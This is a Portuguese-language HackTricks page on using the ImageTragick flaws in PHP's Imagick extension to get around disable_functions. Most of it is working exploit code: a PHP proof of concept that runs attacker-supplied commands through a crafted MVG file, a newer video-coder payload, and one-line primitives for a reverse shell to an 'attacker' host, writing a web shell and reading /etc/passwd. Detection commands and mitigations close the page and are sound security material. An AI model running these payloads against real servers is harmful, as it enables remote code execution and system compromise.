Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

A famosa família de bugs ImageTragick (CVE-2016-3714 e outros) permite que um atacante acesse o binário subjacente ImageMagick através de entradas MVG/SVG manipuladas. Quando a extensão PHP Imagick está presente, isso pode ser explorado para executar comandos de shell, mesmo que todas as funções PHP orientadas à execução estejam na lista negra com disable_functions.

O PoC original publicado por RicterZ (Chaitin Security Research Lab) em maio de 2016 é reproduzido abaixo. A técnica ainda é frequentemente encontrada durante auditorias contemporâneas de PHP 7/8 porque muitos provedores de hospedagem compartilhada simplesmente compilam o PHP sem exec/system, mas mantêm uma combinação desatualizada de Imagick + ImageMagick.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

php
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ  (ricter@chaitin.com)
# Versions      : Imagick <= 3.3.0  |  PHP >= 5.4
# Tested on     : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage         : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);

$tmp   = tempnam('/tmp', 'pwn');     // will hold command output
$mvgs  = tempnam('/tmp', 'img');     // will hold malicious MVG script

$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;

file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs);     // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();

echo file_get_contents($tmp);
?>

Por que isso funciona?

  1. Imagick::readImage() gera de forma transparente o binário delegate do ImageMagick (convert/magick).
  2. O script MVG define o fill para uma URI externa. Quando uma aspa dupla (") é injetada, o restante da linha é interpretado por /bin/sh ‑c que o ImageMagick usa internamente → execução arbitrária de shell.
  3. Tudo acontece fora do interpretador PHP, portanto disable_functions, open_basedir, safe_mode (removido no PHP 5.4) e restrições semelhantes em processo são completamente contornadas.

Status 2025 – ainda é relevante

  • Qualquer versão do Imagick que dependa de um backend vulnerável do ImageMagick continua sendo explorável. Em testes de laboratório, a mesma carga útil funciona no PHP 8.3 com Imagick 3.7.0 e ImageMagick 7.1.0-51 compilado sem um policy.xml endurecido.
  • Desde 2020, vários vetores adicionais de injeção de comando foram encontrados (video:pixel-format, ps:, text: coders…). Dois exemplos públicos recentes são:
  • CVE-2020-29599 – injeção de shell via o codificador text:.
  • GitHub issue #6338 (2023) – injeção no video: delegate.

Se o sistema operacional fornecer o ImageMagick < 7.1.1-11 (ou 6.x < 6.9.12-73) sem um arquivo de política restritiva, a exploração é direta.

Variantes modernas de carga útil

php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);

Outras primitivas úteis durante CTFs / engajamentos reais:

  • Escrita de arquivo... > /var/www/html/shell.php (escrever web-shell fora de open_basedir)
  • Shell reversobash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
  • Enumerarid; uname -a; cat /etc/passwd

Detecção e enumeração rápida

bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'

# System side
convert -version | head -1                 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text'   # dangerous coders still enabled?

Se a saída mostrar que os codificadores MVG ou URL estão ativados, o alvo provavelmente é explorável.

Mitigações

  1. Patch/Upgrade – Use ImageMagick ≥ 7.1.1-11 (ou a última versão 6.x LTS) e Imagick ≥ 3.7.2.
  2. Fortalecer policy.xml – desabilitar explicitamente codificadores de alto risco:
xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
  1. Remover a extensão em ambientes de hospedagem não confiáveis. Na maioria das pilhas web, GD ou Imagick não são estritamente necessários.
  2. Trate disable_functions apenas como defesa em profundidade – nunca como um mecanismo primário de sandboxing.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks